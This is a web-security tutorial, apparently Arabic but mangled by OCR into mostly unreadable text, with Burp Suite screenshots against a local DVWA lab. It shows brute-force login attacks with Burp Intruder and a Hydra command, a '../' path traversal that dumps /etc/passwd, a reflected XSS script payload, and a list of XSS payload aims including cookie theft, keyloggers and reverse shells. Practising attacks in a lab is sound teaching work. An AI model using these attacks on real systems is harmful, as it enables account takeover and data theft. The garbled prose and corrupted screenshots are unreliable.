Wzp N1237 0 0 Lrdvwaruiner  passmardepassnordllisgnelopn
Remove fram siope

Gprdar Mo here

Send s Frsester Cutel
Send s Segquenier

Send 1» Comparer irequest!

Send ta Commparer irespenze) !

-
Show respaenae o beomser

.I_--.-."— -l“ Response | Reguest n Srowser 4

J’In'lhrvm men | e | Cagagemant tacis [Pra werswn sody] >l
Show raw Natory medon

BT Jwwa/Wulsn rabilin st /Bt o/ TUASIRARS * ) ant s JAD AAWOT Bo g ansva
7.00.1 Add commaere
B_64; wv 1901 Cerkes/I0000 puanioie >
‘anl pplicetiansanl  qe2 9 04

“AgesA  Resbiie/b 2 12 Larms
PR BARt/Nal, applicet lamnnl
P hanguage - US _souq 9 b

Delety mam

e -Ineeding geip, deliste Cloar sty
Betener: BECy /21270 0. L/dveasvulssrabilivies/bause/ Copy U,
feckie: wecurity=lowi _jo_seeepGmVorchPhedblebiphionh, MGSEEA  Copy a8 (vl command
Earmart ton Neep-alive Copy ks
Seve Aem

Prowy Nstecy halp

galg wugll alduhi ah eAuilogil JAuiy Joei 81al :Burp Intruder

ojJlirT Al payloads g aljiojlll ardy l@xigji elile wny

diglo ailjioly yuoi dig) clifoy Positions tab of Intruder .4
Jaull qa Los lale dounloll 6gdll pgaay plidll elifoy (4illg
s L
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[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Optiens TAIer‘ts ]
[l E I ij_]
Target | Positions TPayloads TOptions ]

&

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are
assigned to payload positions - see help for full details.

Attack type: |_ Sniper

GET fdvwa/vulnerabilities/brute/?username=§jameellipassword=8passwordlsilogin=§Login§ HTTP/1_1

Host: 127.0.0.1

User-Agent: Mozillas/5.0 (X1l; Linux x86_g4; rv:38.0) Gecko/Z0100101 Firefoxs/38.0 Iceweasel/38.5.0
Avcept: text/html,application/xhtmltxw]  application/xml;q=0.5, */* qgq=0.8

Avcept-Language: en-US, en;q=0_5

Avcept-Encoding: geip, deflate

RBeferer: http:// 127.0.0. 1/ dvwas/vulnerabilities/brute/

Cookie: security=§low§.; _IJs_datr=§pGibVoxchPhs0b0cLSpLEUNLS ; PHPSESSID=Stje fipadiinisdiigsit3tl3es
Comnection: keep-alive

alhll o laliyf) @il alyiojl! l@wai & dwoall alyiolpll 0Ad
anlyicl Liog Al

Jalaiy o4l jgpoll doldg paiiwall puuly hda pidi caguw Ll
Jud $ 6)LiMl auuoy pgdi gl way dydlldl diill alyiojlll intruder
oLl Jasull gle Jnail jirolpll doyd aoig

GET Sdvwa/vulnerabilities/brute/Tusername=§jameelfipassword=8passwordfilogin=Login HTTP/1.1
Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X1l; Linux x8&_£4; rv:28.0) Gecko/I0100101 Firefox/38.0
Iceweasel/38.5.0

Accept: text/html, application/xhtml+txml, application/xml;gq=0.9,*%/*;g=0_8

Accept-Language: en-US,en;qg=0_5

Accept-Encoding: gzip, deflate

Referer: http://l27.0. 0.1/ /dvwa/malnerabilities/hrute/

Cookie: security=low; _Js_datr=pGEihVoxchPbhs0bjcLiplLEimh; PHPSESSID=tjelfipadiinfsidiigslti3tlie
Comnection: keep-alive
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:Intruder Payloads
a pldll api Al pgadll ggi jluicl (uer Aali gl qay

lalaal jLial cifoy (oillg aleaall o dalitoe glg.ii ¢lloy Intruder

cluster bomb attack jliti caguw pgaall 1Aa N

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Optiens TAIer‘ts |
[4—x 5 = _l
Target | Positions T Payloads I Options |

2
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are
assigned to payload positions - see help for full details.

Attack type: |_ Cluster bomb vJ

Runtime file paATwi cagu g

cloauly 6308 daild ole g9y i walo AT gl qay
pudl alols go Ju14 sac ole (gga) JAT (i calog grordiuioll

03d Jnai gf eliflay il g cuijiiVl glc gilgall go auaell g,
laio claloll
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ole sg Al qnill caloll paiiwi agw Jgll fiolpll Jaf go

CHodATuall r.l_D._U..IiJ_ dodld

[Target T P rosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender .
4 = |5 = _|

[Target T Positions T Payloads T Options |

You can define one or mare payload sets. The number of payload sets depends on the attack type defin
payload types are available for each payload set, and each payload type can be customized in different

Payload set: |_ 1 ‘I'J Payload count: 1 (approx)

Payload type: |_ Runtime file _‘I’J Request count: 1 (approx)

|7

This payload type lets yvou configure a file fram which to read pavload strings at runtime.

| Selectfile ... | /rootjuser_name_list tat

wle g Ml qnill caloll padimi cagu gilill piolpll Jal og
Judl alol4y dadld

[Target T P rosoy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender .

4 = | & = _|

[Target T Positions T Payloads T Options |

You can define one or mare payload sets. The number of payload sets depends on the attack type defin
payload types are available for each payload set, and each payload type can be customized in different

Payload set: |_ z ‘l’] Payload count: 1 (approx)

Payload type: | Runtime file _‘I’J Request count: 1 (approx)

This payload type lets yvou configure a file from which to read payload strings at runtime.

| Selectfile ... | frootfpassword_list bt
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Start attack glc honlly pgdi waguw pgaall 1aa Il

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Qptions TAIer‘ts |
[4—>< 5 = _|

_[ Target T Positions T Payloads T Options |

2 | start attack |
Configure the details of the target for the attack.

Host: |127.0.0.1
Port: |80

) Use HTTPS

Attack Sawve Columns

_[ Results T Target T Positions T Payloads T Options |

| Filter: Showing all items |_1]
Request 4 | Payloadl | Payload2 | Status | Error | Timeout | Length | Comment

0 200 O [B] 5328 N
1 admin admin 200 O a 5328

2 syria admin 200 O a 5328

3 jameel admin 200 O O 5328

4 root admin 200 O O 5328

5 adminl admin 200 O a 5328

[ admin password 200 O a 5328

7 syria password 200 O (B 5328

8 jameel password 200 O O 5328

9 root password 200 O a 5328

10 adminl password 200 O a 5328

11 admin passl234 200 O (B 5387

12 syria passl234 200 [ (D] 5328 -~
132 isrmaal LETT R E-F | ann mM mM [=%=Re 1]

wle Jgnall gia ! ciloldg georiiuall clowl J5 pladiwl pijuw
daanll pull daldg paiimall pul

pqaall A& od l@olaiiwl Jaoy il aljlall go yaell Aagy
xHydra 812Vl plaatwli pgaall 1aay plidll (j40y Lo4

gog dhpuy dioguy danlg lalg (Al a Jldli Jauy 83gago)
lago Joleill Jawull
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xHydra © 60
Quuit
Target | Passwords Tuning Specific  Start
Target

@® |Sing|.e Target| |12?.0.0.lr’ |

() Target List | |

[] Prefer IPV6

| .|
Port 80 -
Protocol |http5—pust—furm v
Output Options
[] Use SSL [ Be Verbose
& Show Attempts || Debug
(| COMPLETE HELP (| Service Module Usage Details

hydra -s 80 -V -L /root/file.txt -P /root/file.txt -e s -t 16 -u-m 127.0.0.1/ https-post-form
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:Session Attacks duwlall doalao

dudall aljof Juoiwy paiiwi oill aloaall glgil gaer ga Ll

wajeo ddpu ¢lly oiy: Session hijacking dualall ddpus =
GliaVl pito Jid go dolaiiwl 6alclg paiiwall
XSS 4lg dalido (§ph 6aey pii gl Aoy padiwoll cajed ddjuw
A8 oa ld1Y XSS (e éanii cagu (leguir ji5Y1 dayjhll oa
aliall

Gl pito pgdy loaic daaT :Session fixation duwalall cunii =
agjeo j1¢ padiwal Guhill Jo gcpit duwly (ayed JarnAll
hony gl uay paiiwall web URL glgic Jia go liale iy 13a
Jgaxl Jrawiy pgdig hilfl Aa gle hony loricg Jaulll (olc
Aol cayed guai plaiiuly palaall pgdy lazic Guhill ol
go dmly ol qugll japu Judiy Losic Lyl éaay pgaall 13a
§ga 63431 dwly yarnais pgdy g (palaall gl) paiiwall
ol dily jliay cagu Ghial pito dllall oda od .ddilnall
cnall ol [@lwpyg Lo layaai pld
od aolriiwl dalely pounf duwlall wapes gV Jooy pgaall 13a

031910 dlwla
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CLUTT TA; a pgaall A& :Session donation duwdlall pio =
AV pito gla wpaiiull wped JarnAl go Yy galg duwlall
wle paiiwall ol (palaoll duwly) dwlall aped pyrdis pgdpw

.dayeo (g diloell JloAl padiwoell pgdy gl Jol

glha dlglho phishing ainill pgaa ga gAwlAll JLiall

puddl dols (io) dundull pailily gle Jgnall cipiiyl goriiwo
lolai déylho (g dadn eliii] Gupb ge (Yloiil délhy pd) gl
oaaTwall pul JlAsl waaall pgdy loaicg diouy dugo gdgal
pitay gali calo (gl ailogleoll oda Juyi caguw jgpall dalig

Glavl

URL (lgic oa dwlall cajod =
JAA URL (lgic (o jiolps duwlall waped pjoi ply loaic oif
dilaylg wlhll dlac
Jluyl grhiog Ghiall pito gla 63gago diloell oda ciils 1Al
dagpiall pgaall alilegy plidllg padiwall (o] URL lgic
Léiy L
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plaiiwl 81l Ixto Jga jgaoiy Guhill ildll jj5gall gl pgaall
@GVl pito pgdy s gl j1agall jlank pld go pdo guyl j15gall
gd hda paoll galg laolaiiwl 8ilcy hihiy il gl j1agall ddpu
Ja04g. dogadll 45gall go Jols JAuin Jogy cugll Guhi ggiy gl
dlgawy el caluuisl

ails 1Al dayeal wugll (Guhi an aljbiaVl go dlalu plidll 4oy

Subill (5 839390 J8gAll plxitul Sale] Byl

od 83g2ll Jj wle honll pd pf Guhill go 2g)all Jawi pd
Jpeiwdl elilboly gla 13] loga (il daanll éyaaiy pdg aanioll
oill alanll ga dldg wgll Guhi gd danll ] Jengll
active session dllea duwly ol 2lind

aolaaiwl 8alch péig i Miiwo ol eliwly cajed Gnlig puuil =
pladiul elifoy . Guhill go agall Juawi dilogy plidll )
o1 dll dwlall caped dalnV intercepting proxy

diiojll 6)iall doyrd JLuidV alcln 6ael paniall plaAiwl e cadgi =

LS\_CJ_LU o I LGJ_QB I dim d_l)g I II
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pgdy loaic paiiwall (o] pagall Juupi cugll aldphi go aaoll
awiy pds Jgall Juauwi dilogs pdy pl glg @in gdgall &)l
Joall Jiawd dilag) pd af i Aiiwo o] dwlall waped Gnlg
Jiawi 1d gdgall alwgl M1 duwlall cajodl dijldo diloer pd pf
ol vy Jeall Juawi dilaoy plidll roy dwlall cajesdg Jgaall
6)1a] (sa 38 Byof odAa dalito g4 pl 1ilg dalito pydll ggiy
Auulall

alito gpaanio go (Guhill gudi ol Jgarll Juauwi dilogoy pd
gla 13l agajall Jgaall Juiauwi acxy Guhill gls 13] loga ()il
od dapii oy vag dwly wajed aagy gla 1A guiwly aagy
gudi o8 gluall guai @J] Jgaall Jrawi i aili Jgll panioll

Jal gléo (o cdgll
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:Path Traversal Attack jluuoll jglai pgam

! Jgeao Jlay] GhiaVl pito Jglay loaic pgaall 1a@ &y
Guhill aoji0g (Guhill pao laeng old ddslnog diloa dalelpal
Jga diyeo dlalyo ol hda Jgngll Guhill (goxitwal alowll

SAl alalao

ddalnoll dylag) pld priiwo Jud go Lisle iy pgaall Jo gqill 13a
salell paiiwall Jhoy ol palnall pady pgdsg Guhill ga

I Jgngll aolriiwy éwa alh @Ay pgdy pi layl] Jgagl|

Lol Janglly al apno poll jalnall

gl papun alalo dyiy

alalaall duiy gla cagll Guhil dind guiid plhi padtd b 13]
alalaall diiy gla DVWA Lillio (od .uigll japw qunny caliag caguw
(Uil Jadl ga Los ggiiw
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I T T :
bin etc usr var
[ [ |
*tons of *passwd lib T

apps file

src

' images

JT] 1

gl Guhi 2ouy il alahall ga G)jul gglll ald alalall
20wy M gapll ggll ald alalhall J4g (layl] Jgngll pariwall
yaol his danio wag lay] Jgngll wgll @uhi @oriiuol
gl Guhi

apno péll jalnoll ol] Jgngll ell aouy jluall jglai pgad Apaii
layll Jgagll ell

~# cd /var/www/html/dvwa/dvwa/
:/var/www/html /dvwa/dvwa# 1s

css 1images dincludes js
:/var/waww/html/dvwa/dvwa# I
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Jgngll Jal go (alalaoll pye Jaiill) jluall jglai pgady pgdi caguw
eyl Jgngll Ll apno pell cugll japw o jalnall ]

Japw oa alslacyl peoig alalo gap Layl Ll poui 6peill oda
gl

alalo awa 63gagall glaall dapeo sa pgaall 13a od dlajo Jgi
1l aljlwel JLdiivl dlglo af gog papull @le cugll Guhi
8y2i Jiloiw clyall go aac “ ./ " dagleill plaviwl (glel alalao)
Jlusall jglag

root Alho (gl Jni gl paall

a1 @l alpall go sac” 1 " daleill od& paaiwi 6)<ill oda jliiA

Jlusoll 3@ (o 83gagall alalaall axc gag aanll aell gle Jani

127.0.0.1
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€ | @ 127.0.0.1/dvwa/vulnerabilities/fi/?page= etc/passwd ve earch wBe ¥ &

Most Visited ¥ mOffEnswa Security '\Kali Linux '\KaLi Docs \Kal\ Tools * Exploit-DB ‘Aircrackfng

‘ootx0:0root/rootuser dasmonx:1:1:.daemonfusiishin/usrishin/nologin binx 2:2:hinfbindusrishin/nologin sysx:3:3:sys/dev/usr/sbininologin syncxc4:65534 sync/bin/bin/sync games:c5:60.games:usrigames:/usr/shininologin
manxh12:manivar/cacheiman:iusr/sbininologin lpx7:71p:iarspool/ipd-iusrisbininologin mailx8:8:mail:var/mail/usr/shin/inologin news x:9:8 news:varispoolinews:fusr/sbininologin uucp:x: 10:10:uucpvar/spooliuucp:fusr/sbininologin
aroxy13:1 3:proxy.fhinfusishin/nologin datax33:33. datavariwww:lusrishin/inologin backupx:34:34:backup:varbackupsusi/shininologin listx38:38:Mailing List Manager:ivarlist/usrishin/inologin ircxc39:39:ircd varfrunired:
‘usrisbin/nologin gnats:x41:41:Gnats Bug-Reporting System (admin):varlibfgnats fusr/sbin/nologin nobodyx 65534:65534:nobody inonexistent Jusrisbin/nologin systemd-timesynex:100:103:systemd Time Synchronization,, Jrun/systemd:
‘binffalse systemd-network::101:104:systemd Network Mal\agt—.‘lm—.‘mmlf dinetifihinifalse systemd-resolve:x:102:105:systemd Resalver, Jdrunisystemdiresolve/hinifalse systemd-bus-proxy:x:103:106 systemd Bus Proxy, Jrun
‘systemd/binfalse mysglx104:109:MySQL Server,, 1t x%:105:11 0:ivarfrunidbus /binifalse avahizet 06:11 2:Avahi mDNS daemon,, hvarirun/avahi-dasmon:/binifalse miredox:107:65534 Narrun/miredo:
‘hinffalse ntp:x:108:114:/home/ntp:/binffalse stunneld:x109:116 J\ran’runfstunnelnlrbm!false uuidd:e110:11 72frunfuuidd:binfalse Debian-eximac111:11 8:var/spooliexim4 fhinffalse statd:x:112:65534:arflib/nfs/binfalse
arpwatchx:113:121:ARP Watcher, :var/lib/arpwatch:/binish colord:x:114:123:colord colour management dasmon, Jvarflib/eolord /bin/false dnsmasgx:115:65534:dnsmasq,  varllib/misc/bin/false dradis::116:125: varllibidradis:/binfalse
Jeocluex 1171 26:varfllib/geoclueibinfalse pulsex:118:127:PulseAudio daeman, :Narrunfpulse/binfalse speech-dispatcherx119:29:Speech Dispatcher,, ivarfrunispeech-dispatcheribin/sh sshdx:120:65534 :varirun/sshd:lusrishin
‘nologin snmpx:121:129:harlliblsnmp:usrishininologin postgresx:122:132:PostgreSOL administrator, :varlibipostgresqlibin/bash iodinex123:65534 farfrunfiodinedbinifalse redisx:124:135: varilibiredis /binfalse

‘edsocksx 125136 arruniredsocks:/binfalse rwhodx 126:65534  ivarispoolirwho fhinfalse ssihax127:137:/nonexistent/binffalse fkitx128:138:Realtimekit, /proc/binfalse sanedx:129:1 33 war/libisaned:ibinfalse
dsbmuxx130:46:usbmux daemon,,, ~farflib/usbmuxibinffalse beefxssac131:140 varlibibeef-xss/binfalse Debian-gdm:132:142:Gnome Display Manager.varilibigdm3:/binffalse debian-torx133:143 varllibitor/bin/false
Jserx:1000:1001 thomefuseruser mm:x1001:1002:4home/mm:/binibash norootx:1002:1003:, thome/noroot/binfbash jameelx:1003:1004:/homeljameel/binish

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

gd DVWA oa diloall sgiwo i go 2517 pgaall 1xa alai Jal go
low

it 1Aag letc/passwd odl Jgngll Jal go alpo 6 7 ./ " LioaAiuwl
alpo gyl alalall jglaiy root directory (ol Jgngll Liiday ail

lindg wugll Guhil ypaniall jLwell jglai o li%ai pgrall lia o4
aadll papdl ge dwlwn clogleo cami
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:Jndall 1A@ ¢gino

cross-site scripting (XSS)
cross-site request forgery (CSRF)

Social Engineer Toolkit (SET) olxaiwl diclaiaVl dwaiall

Human is the key to security
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:doAdo

Jlaivl Jal go paaiuy Al jlaall odl iy padiwell allhno
.dlganoll 6j@all gi jiquoAll sjaal Jio d4uill

Jodll Aa oa lamdlii wagu 6pis alpeil daje pa JalAil
AT g wgll dliyhi daalao daleio prifuall daalao
63gagall aljeill gsalog wugll Guhiy Jniall jo cayyeil ddiphs
@l Jgngll dluug goli ghaoll go Jl5 13] logag aolhi g4
gl Guhi alogleo

@l Jgngll dahil wypei gl ggapu Jnall 38 ga 4yl
JAo0 poll 1xa gls 13] laleiulg alpeill (juoAig wygll aldyhi

63gago ailpoi gle aoiei wugll padiwoe gl aloaall ¢lgil jae
Guhi oa 85i sl agag wlhiy ¥ all aeillg cugll Guhi oa
duniall plaatuly elldg padiwall Jaa glc hda raiel jalg cugll
dicloial
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:Cross-Site Scripting (XSS) 6 i

2iigo 8)Lj1 pgdi loric gl aliyh oo v 6piio 8j91 (o
chanio .ougll (Guhi go ddgigo ddile jghy claanio la cug
wugll géigo go wlhlly pgdy aill dégigo ddllell oda gl yasiay

gl Guhi go ayll agei dila) b @iy gl aile qag

Jo alinyawll g alailwallg jgnll poudd Loy (Ggigall ddilell oda
hanio glc jgaall cugll (Guhi

XSS 8y2h1 ulno Guhill jg4y Loaic diol jgai V¥ déllell oia

G gihivg GVl pito gla XSS §y0iy ulno (Guhill gla 13
URL ylgic pjoiy pgdyg &l anpaw ole sgau URL glgiel alh
gla il & gle hoall waaall plé 13] warall paiiwall gl
AL pgdy wagw Guhill wcugll Guhi o] Jup cagu dpAll alhll
e . dpd A ele (g9ai padimall o] dila] Jloyl JiA go
oAaii piyg warall panio ol Jwpg papull b Agis auypaull
2aniall o4
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cugll Guhil Gl ail) gyl iy pgdy gu aaniol

gl géigo o lo Jlho o XSS &pai aay gl way @Giayl pido
@l alb Jluyl piy cagu bylll gle hoally wasall pgéy loaicg
2anio od l@dgaii piy dila] Jluly Guhill sy cagug Guhill
dlal o8 & b géay Ghiayl pital aouy ag daall

wnall aanio oll lalluy] piy il Guhill

:0)9ill oda JAeiwy &pain AVl Juilall
Cross-Site Scripting Framework (XSSF)

Browser Exploitation Framework (BeEF)

:Cross-Site Request Forgery (CSRF) 621

Hido pgdy gl wlhiig gl Guhil aaniall daf qlhii 8joill oia
gl Jala paiiwo Jud go aile heall piy apa alb @lay §lpayl
gla XSS (o4 Lod il aygpbull géa go Yy gilg spall Juld
dajeo gy Guhill (od gcpn Joc ALaiiy pgd) CSRF pgaa
arall priiuall
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gl a3 paiiwo Gl Jio Guhill lacyy il aililosll pleo
cljal ggar pii gl ghoy quygll gédgo (§gino waia gl pull dals joi
CSRF pgaay paiiwall

request forgery il jigjis aitow’i i ga 1Aag

:XSS VS CSRF

A4 i cuw elldg XSS and CSRF (ju Jghlay jplamll o puiall
aleal padiwall go Jelaillg golhi qyg alh @Gl alhii gijeill
.aaljal ggy eugll Guhi go wlh Jooy pgdy

b gl padiui CSRF laiy aaniall gé cuyjbm paiiui XSS
Guhill a8 ocpill Jooll Jlo4) (GET or POST)

go dlul sd gagr go lalaaiwl piy gl g0y XSS and CSRF

laslaly pld (odll Samy worm &jganiiall 63gall (ga aVUGTI

2005 plc qa MySpace o4 iglp’ dile (odillg Samy Kamkar

4 dialdill digAll aliaoplls worm 8aga (AT ol o@ gdlgll o4
ditouni of Al depuyy piiil (gAllg XSS and CSRF pgaa ils
worm 63gall puuly
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Jhal pgdy JAQiwl Joay pgoqall

"but most of all. Samy is my hero"

Samy ol ddlan b Jluyl pgdy los diaall Jilagy o

Jlno Julagy (zgi 6raliiay MySpace o Al padio pgdy loaicg
pd aalg pgy JUAg duili 8jo odrail piy vagw JAleiwl gla

allaa] piy M aill MySpace (sd paiiwo (gilo (o JAI JUiwl
piy ddlanll alh Jluy] Laiy XSS dhuwlgy piy daall Jilagp od
CSRF dhuwlg

cduidill dicloiaVl dwiaiadl aljei

Fapw od 83gago duidi alyel gl ele aaier V aljill go ¢gill 3@
Jauiy carall padiwall gle aioi galg qugll Guhi o gl gl
ko

dylaill dyloall G JlA go asldy géoy Y aloaall go ggill 11a
2olpg Jahill giog wasis dahilg Firewalls dyjlill gljaall Jio
gadipi JAA go gl diuall alaopl Al olug aluguall alslao
albanill eljal JU go olAil
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gl padiuo glhil

Il olc ST oillg (gilao Jauuy 6pagioll gdlgall jo Maell xagy
XSS pgaay entll a1 glao (30gi (oillg XSS alyei caliuial

alpei ole ggai il gdlgall Jo degoro (sgay xssed.org gdgall
601 J4 dllag daily XSS

lo4 XSS 841 dilnall gélgall canil psl le gy gdgall 1Aag
alijanill Al gle Jgaall Jal go gdgall Ra o4 Juauwill elifay
capi)l o8 g day plidll clifoy g gdgall 138 (sgina) dnlall
Ad o aong pi Al wsall gls 13] laga (il gdgall 1@
.ulno gdgo dil glc gdgall

aload diaaioll dyaléill diclainyl dwaiall go auwé iyl aagy

g4lg lal Jusiwl cliy clifayg XSS and CSRF alysi walividl elidoy
@l dii go apall alhll Jlugh pgdil gcpi patiwol dalay ail
gl 8)g0 gl huly JUa go ggiy gl ghoay wlhll 1Aag cugll Gubhi
agédi gl ghoy gl digph sl gl jal gdgal aragill 8ale] gl gyaa
wlhll 138y olydll pgdyl @A go paiiwall
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Gl pito gla padiwall el pii U ddgphy ey oldll Jaf go
ol Jal go duclaiaVl dwsiall plaiiwl o jalo ggay of way Al
wanadll padiwall ddf gle Jnay

a4aill lalla go Aoy oillg cibilun 8ac gaa o 8aila ellia
2o Jelaill Jal go allwall 0d@ plaiiml Jaoy warall Guhilly
J40y la4 dicloiaVl dwaiall pgad go cjad warall priiuall
Jud avleiwyl diaig jlial Jal go ablwall 0d@ plaiiwl

0@ gy hulgy Jlujls plidlls wardll padiwoall aa Laoladiwl
Jasilly aii JA&iwl pylwi dylac ciild 13] loga dugyl alilwall

dianllg palaall agy qel) gl Gyl pidal 2ou) A& g uglhall

gl padiuo yang
0@ 3Ali gV dalay ciila XSS 8)9iy ulno gdgo Aab loaic
carall gdgall AA dolaatwy Ay Juoiwl (GlAy pgdig alogleall

hily olc honlly padiuoll pgdy i ga XSS or CSRF pgaa jgao

wlc sga1 dlhll Rag cugll Guhi ol] request cilh Jlujh ogdy

malicious script diua g

JUeiwyl cliig lmalihsl ga XSS or CSRF aljei o Jauwull cjall
L&y galall
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o094y o4l padiwall glad ga XSS or CSRF pgaa (o wenll cjall
duniall aleaa pladiwl JUA go dwnll hilfdl gle honll
drcloiaVl

alddill oy l@aliiial aenll go awnl XSS and CSRF cilysi
LJ_T_O ( . .o II ln}_d) P o oo II t'J_ib (é\_d d-o o oo II
JavaScript, ActiveX, Flaxh, and Silverlight

pxiiwall gl dyilaill danll gape od ckwi qillg

Jo dill XSS and CSRF ailjei alagl digen (o Mji ailiidill oda
poxiiuall dila ad 3gall glc sArtilogil yaaa diloey plidll qenll

iy w1 paa ol ald ggai gi aay alill oda wiliiial Jal go
diton’ aiy carhg wugll Guhi Jid go padiwall JAs dalleog Jgud

2pll dran g4

i gog paiiwall go JAy Judi il alhanll slayl ga aliaall
6)2ill yana diloey plidll padll yaey Jlask plidll

alyiolpll J4 wapei gl way CSRF Juoiwl alaill Jal go

0ALaii piyl éurd wlh slac] go ghaii o4l Guhill od doriiwall
2k
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ligo jo La4 ¢iyh SQL wlh dalei slac] Lo Al awdi diloell oda
sql Jda pgad g4
ceugdl padiwo JMeiwl

JAleiwl diloo) r0|._I,_(':'L|J alidillg QIQADI atol Phj foaly ogdiul
gl padio AA XSS and CSRF il il

:g0Aii gl priiuwo glc ciloaall

reflected and stored jicqill M4y XSS alji JAQiwl : XSS e
Burp Suite plaatil (juagall) duwlall ddpul

olaily padTwoll pu dold poil CSRF 6j0i Jioiwl :CSRF e
Burp Suite

Social-Engineer Toolkit olyiiwb :dicloiqVl dwaiall aloya e
(SET)
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:Cross-Site Scripting (XSS) pogaa

6idali plaaiwl ga 6peill oda agag aliiV dianwMAall ddphll
Joelli g4l Iay losic @A oillg JavaScript alert box ddiiio

anall priiwoll pdnio od

[@olaAiwl 4oy Jalg diua gl 6 didac clul diloell oda
malicious payload plaaiwly alogleo caid Jal Jo ¢ua Jady

clag jyojill alyidl) :4a dajeo sle gghy ol way Ghinl pito
6agagall alyiolpll go doaiiwall encoding and decoding jioyill

djlon dyl4 doriiwall Jasll go @Gdnill ciliidig URL gyglic (qa
gl Guhi o4

decode jio}i clag encode jlojiy pgdi il cajei gl g)jgpall go
(o 63gagall dylonll AT gl (il gratuwil dyall Jaall
gl Guhi

;o jrojill alyidi o ayaell aagy

Base64 =

URL =

HTML =

ASCIl Hexadecimal =
UTF-8 =

Long UTF-8 =
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Binary =
UTF-16 =
UTF-7 =

alglal olc 9T Burp Suite laiog §liayl jLiAl alglal ohoo
A Jaaa @olaatwl alpall pgdll jropi elag juoyi Acluti
g XSS go Joleill Aic lanaai gl way il dodall Jolgell aal

origin policy in browser aaniall o detioll duwliudl

alhanll oa Jooll go ayybull gioy pgdi gl Jaoy duwluull oda
sl gilgog ailhdn (o4 laloe) aowi g JAoyg dégigo pell
adaniall glc 3y cagu gdgall gV gdgally Gy gl way paniall
pgadll dilac piil @ALaiT piy gl wagg cuybun

carall padiwall &y iy oill gélgall g XSS aljei aai gl qiay
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:XSS Payload

JUA go l@oyli Jhay qillg phill payloads go yaell aagy
XSS 6%

:XSS Payloads (ol

ddlyioll dalgill =

Audall ajed dépu =

.daliio URL lgic oll carall aanio diagi éalc| =
keylogger ciinii =

reverse shell plaaiuly guwic Jlail duly aia =

qy el XSS aload (od juh jga qeli juojill ela g juojill ailyidi
aliidill oAd go Joleii caus paai gi elilc

jglai Jal go XSS aload JAla 1aa agdo piey (plyicll gusbgy
AN diloall LJ;T Jo cugll alduhi l_g\.CI doaATwall 6pilall gy
XSS ciloaa
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:Reflected XSS Attack
pgaall 1aa alghi jahy GJLill Jasl

5. Malicious
script
executes g

£ e

2. Send malicious link ‘ ‘
6. Cookie is sent ‘

User 4. Respond with Hacker
malicious script

1. Log in NS 7. Masquerade as victim
S
3. Send malicious request .
Web application

gl (upol (ddai wny pgaall 1aa alail
(Al gl gle honll llio) (ueo Jooi pgdy gl vy warall =
Ol Jud wlnall gégall @l Jgaall Juawis pedy gl oy wanrall =
Al il gle honally pgdy
old Ad carall gl go A4LiT gl way aleaall go ggill 1@ alail
acxii gl way pi gog wlnall gégall @] Jgasll Juawi diloe
Al il gle honlly pgdy gl Jal go direo ddyphy

s Sl S 51



DVWA dazall Guhill glc reflected XSS pgaa pgdiw

WAy pgdy pi Jog dawl JlAa] padiwall go alhy warall Guhill
ool pul gle (gt cuynyi dllu)
anjc piy Al QJAll o8 dolrdiml iy paiiwall Jas gl giey 1Aag
adanioll glc

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? | I. Submit |

Hello jameel

dailyio 538l Yyt pgdii datlel JLasl Tl
JavaScript pop-up alert
dlill denll plaaiuly

<script>alert("Jameel was here!")</script>
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Jameel was here!

"whoever clicks it, gets it “ LD_I| ou reflected XSS pgaa

Al gyl aid) caaall pgdy losic piyg éaalg 8j0l pgad gag
ar plall cygll aanio ga cpall 3gall ALaii pilwg

gl Araity aouw Aad @il DVWA gl (Guhiy Gl aaniall
Guhill go paldll sl sa 3gagall

:Japddl dilal galyicl

goiil priiuall J3s dllens cygll GHbi pgiy ys padi gl
Guhill od doriiwell dileall aluidi gle Jlaill o
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Jlul iy ol Judg paiiwoll qila gé ggai dileall alelp] Jasy
@l byl aulwi piy gl Jud ggds Al gaellg Guhill @l alhll
.2dniall

oit illg aaniall o lallwy] aiy il Allhll naa elifay
Qaljicl gudgy plaiiuly ellag paniall @l Jni gi Judg lalldiul
intercepting proxy

go doaldll ablayl (Alyicly pgdy ¥ Burp Proxy gla guljial Jady
(i Jamll od Les dinlAll oda Jredi Jhey Jalg cugll (Guni

Burp Intruder Repeater Window Help

Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts |

[ Intercept I HTTF history T WebSockets history T Options ]

2]

(&) Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.

[ Intercept responses based on the following rules:

[ Add | Enabled | Operator | Match type | Relationship | Condition
) # Content type h... Matches text
[ Edit | O or Request Was modified
0O or Request Was intercepted
| Remove | O And Status code Does not match ~304%
) O And URL Is in target scope
[ U |

|  Down j

Guhi ol Jay gl Judg allwy] piy wlh g5 d@ig) Liildols aunl GUl
2anioll ] Jai gl Jidg qugll Guhi go doald dila] Jag qugll
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auiw dala) pi ad dil ()7 gl elifoga alhll (Aljicl pgdi loaic

oLl JAsul oa Los NAME jiolpll pul (o

[Target T T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Options TAIerts |

_[ T HTTP history TWebSockets history T Options |

[#"| Request to http://127.0.0.1:80

| Forward J | Drop J | Intercept is an Action J

Raw | Params T Headers T Hex |

GET request to fdvwajvulnerabilitiesfxss_r/

Type Name Value

LRL name <script=alert("lameel was here!"|</script>
Cookie security low

Cookie _js_datr pGSbVoxcbPbs0bQcLSpLKUnh

Cookie PHPSESSID b2bg20vEgizknadsh7bvnnkgvad

wle honlly pgdi gl way pi Jog wlh J5 digp Lil pouy 138

e heall ai gog cugll Guhi @l alhll jyoi Jal go forwoad
@l gl Guhi go doaldll diayl pyai Jal go spal 640 forwoad
adniall

gai a8 gl @l gl jahi agll Guhi go doaldll dilayl
Joyo laoig auyn

“>"8)liilg < “3C% " jopl pladiwl @jio)i piy “ <" )Lty :Alio

